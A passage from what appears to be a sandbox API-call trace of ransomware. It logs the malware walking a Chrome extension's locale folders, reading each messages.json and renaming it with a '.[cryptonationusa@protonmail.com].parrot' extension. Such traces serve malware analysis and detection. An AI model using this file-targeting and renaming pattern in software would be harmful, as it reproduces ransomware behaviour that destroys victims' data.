ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.845] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.845] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.845] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835d1320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x49c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.845] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ad9, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.845] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.845] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.882] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.882] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x49c1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x49c1, lpOverlapped=0x0) returned 1 [0074.885] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.887] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ad9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.887] CloseHandle (hObject=0x274) returned 1 [0074.887] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.891] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.892] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba1e7840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba1e7840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.892] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835d1320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba1e7840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.892] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.892] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.892] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.892] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.892] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.892] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.893] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fae, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.893] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.893] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.895] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.895] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e96, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3e96, lpOverlapped=0x0) returned 1 [0074.898] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.898] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.898] CloseHandle (hObject=0x274) returned 1 [0074.899] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.902] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.902] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba20d9a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba20d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.902] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba20d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.902] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.902] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.902] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.902] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.902] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.902] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dfd80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.902] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fa3, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.903] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.903] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.904] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.904] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e8b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3e8b, lpOverlapped=0x0) returned 1 [0074.906] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.906] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fa3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.907] CloseHandle (hObject=0x274) returned 1 [0074.907] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.912] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba20d9a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba20d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dfd80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba20d9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.913] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.913] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.913] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.913] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.913] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835e72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e99c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x563d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.914] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5755, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.914] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.914] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.915] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.916] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x563d, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x563d, lpOverlapped=0x0) returned 1 [0074.918] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.919] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5755, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.919] CloseHandle (hObject=0x274) returned 1 [0074.919] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.924] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.924] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba233b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba233b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.924] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835e72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e99c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba233b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5758, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.924] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.924] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.924] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.924] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.924] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.924] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f0ef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5593, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.925] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x56ab, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.925] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.925] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.957] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.958] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5593, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x5593, lpOverlapped=0x0) returned 1 [0074.960] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.962] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x56ab, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.962] CloseHandle (hObject=0x274) returned 1 [0074.963] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.967] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.967] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2a5f20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, 